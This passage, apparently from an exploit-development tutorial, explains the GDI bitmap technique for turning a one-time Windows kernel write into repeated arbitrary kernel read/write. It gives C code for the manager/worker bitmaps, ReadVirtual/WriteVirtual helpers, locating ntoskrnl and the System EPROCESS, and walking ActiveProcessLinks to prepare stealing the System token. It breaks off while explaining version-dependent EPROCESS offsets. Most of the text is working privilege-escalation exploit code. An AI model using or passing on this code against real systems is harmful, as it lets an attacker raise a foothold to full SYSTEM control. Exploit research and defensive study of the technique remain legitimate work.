// create 2 bitmaps
hManager = CreateBitmap(...);
hWorker = CreateBitmap(...);
// get kernel address of SURFOBJ64.pvScan0 for hManager
ManagerCell = *((GDICELL64 *)(PEB.GdiSharedHandleTable + LOWORD(hManager) * 0x18));
pManagerpvScan0 = ManagerCell.pKernelAddress + 0x50;
// get kernel address of SURFOBJ64.pvScan0 for hWorker
WorkerCell = *((GDICELL64 *)(PEB.GdiSharedHandleTable + LOWORD(hWorker) * 0x18));
pWorkerpvScan0 = WorkerCell.pKernelAddress +0x50;
// trigger your vulnerability here
// use it to write pWorkerpvScan0 at pManagerpvScan0
[...]
// now we can operate on hManager to set an address to read/write from
// think of it as setting an address register
ULONG64 addr = 0xdeadbeef;
SetBitmapBits(hManager, sizeof(addr), &addr);
// then we can do the actual abitrary read/write by operating on hWorker like this
SetBitmapBits(hWorker, len, writebuffer);
GetBitmapBits(hWorker, len, readbuffer);
Now we've turned that write-what-where-once to arbitrary read/write of any virtual address, and we can use it as many times as needed. We can use this to fix corrupted pool chunks, steal process tokens, and a bunch of other fun stuff!
In practice:
Time to wrap this functionality into some usable code:
HBITMAP hManager;
HBITMAP hWorker;
void SetupBitmaps()
{
BYTE buf[0x64*0x64*4];
hManager = CreateBitmap(0x64, 0x64, 1, 32, &buf);
hWorker = CreateBitmap(0x64, 0x64, 1, 32, &buf);
}
ULONG64 GetpvScan0Offset(HBITMAP handle)
{
GDICELL64 cell = *((GDICELL64 *)(PEB.GdiSharedHandleTable + LOWORD(handle) * sizeof(GDICELL64)));
return cell.pKernelAddress + sizeof(BASEOBJECT64) + 0x38;
}
void SetAddress(ULONG64 addr)
{
ULONG64 writebuf = addr;
SetBitmapBits(hManager, sizeof(writebuf), &writebuf);
}
LONG WriteVirtual(ULONG64 dest, BYTE *src, DWORD len)
{
SetAddress(dest);
return SetBitmapBits(hWorker, len, src);
}
LONG ReadVirtual(ULONG64 src, BYTE *dest, DWORD len)
{
SetAddress(src);
return GetBitmapBits(hWorker, len, dest);
}
Let's say we want to steal the System process Token using all of this. We would need to:
- Setup bitmaps
- Trigger vulnerability as described
- Get EPROCESS of the System Process (method shown requires getting base address of ntoskrnl.exe)
- Get EPROCESS of our own process (requires walking the System's EPROCESS ActiveProcessLinks list)
- Read Token from System's EPROCESS
- Write Token to our own EPROCESS
Here's some code to help us do exactly that:
// Get base of ntoskrnl.exe
ULONG64 GetNTOsBase()
{
ULONG64 Bases[0x1000];
DWORD needed=0;
ULONG64 krnlbase = 0;
if(EnumDeviceDrivers((LPVOID *)&Bases, sizeof(Bases), &needed)) {
krnlbase = Bases[0];
}
return krnlbase;
}
// Get EPROCESS for System process
ULONG64 PsInitialSystemProcess()
{
// load ntoskrnl.exe
ULONG64 ntos = (ULONG64)LoadLibrary("ntoskrnl.exe");
// get address of exported PsInitialSystemProcess variable
ULONG64 addr = (ULONG64)GetProcAddress((HMODULE)ntos, "PsInitialSystemProcess");
FreeLibrary((HMODULE)ntos);
ULONG64 res = 0;
ULONG64 ntOsBase = GetNTOsBase();
// subtract addr from ntos to get PsInitialSystemProcess offset from base
if(ntOsBase) {
ReadVirtual(addr-ntos + ntOsBase, (BYTE *)&res, sizeof(ULONG64));
}
return res;
}
// Get EPROCESS for current process
ULONG64 PsGetCurrentProcess()
{
ULONG64 pEPROCESS = PsInitialSystemProcess();// get System EPROCESS
// walk ActiveProcessLinks until we find our Pid
LIST_ENTRY ActiveProcessLinks;
ReadVirtual(pEPROCESS + gConfig.UniqueProcessIdOffset + sizeof(ULONG64), (BYTE *)&ActiveProcessLinks, sizeof(LIST_ENTRY));
ULONG64 res = 0;
while(TRUE){
ULONG64 UniqueProcessId = 0;
// adjust EPROCESS pointer for next entry
pEPROCESS = (ULONG64)(ActiveProcessLinks.Flink) - gConfig.UniqueProcessIdOffset - sizeof(ULONG64);
// get pid
ReadVirtual(pEPROCESS + gConfig.UniqueProcessIdOffset, (BYTE *)&UniqueProcessId, sizeof(ULONG64));
// is this our pid?
if(GetCurrentProcessId() == UniqueProcessId) {
res = pEPROCESS;
break;
}
// get next entry
ReadVirtual(pEPROCESS + gConfig.UniqueProcessIdOffset + sizeof(ULONG64), (BYTE *)&ActiveProcessLinks, sizeof(LIST_ENTRY));
// if next same as last, we reached the end
if(pEPROCESS == (ULONG64)(ActiveProcessLinks.Flink)- gConfig.UniqueProcessIdOffset - sizeof(ULONG64))
break;
}
return res;
}
gConfig requires some explaining. Some Undocumented structures tend to change from one Windows version to another. EPROCESS is one of them, and that means offsets to its members also change quite a bit between windows versions. Since we need to get UniqueProcessId, ActiveProcessLinks and Token from EPROCESS, we need to find a way to know the offsets to correctly access their data.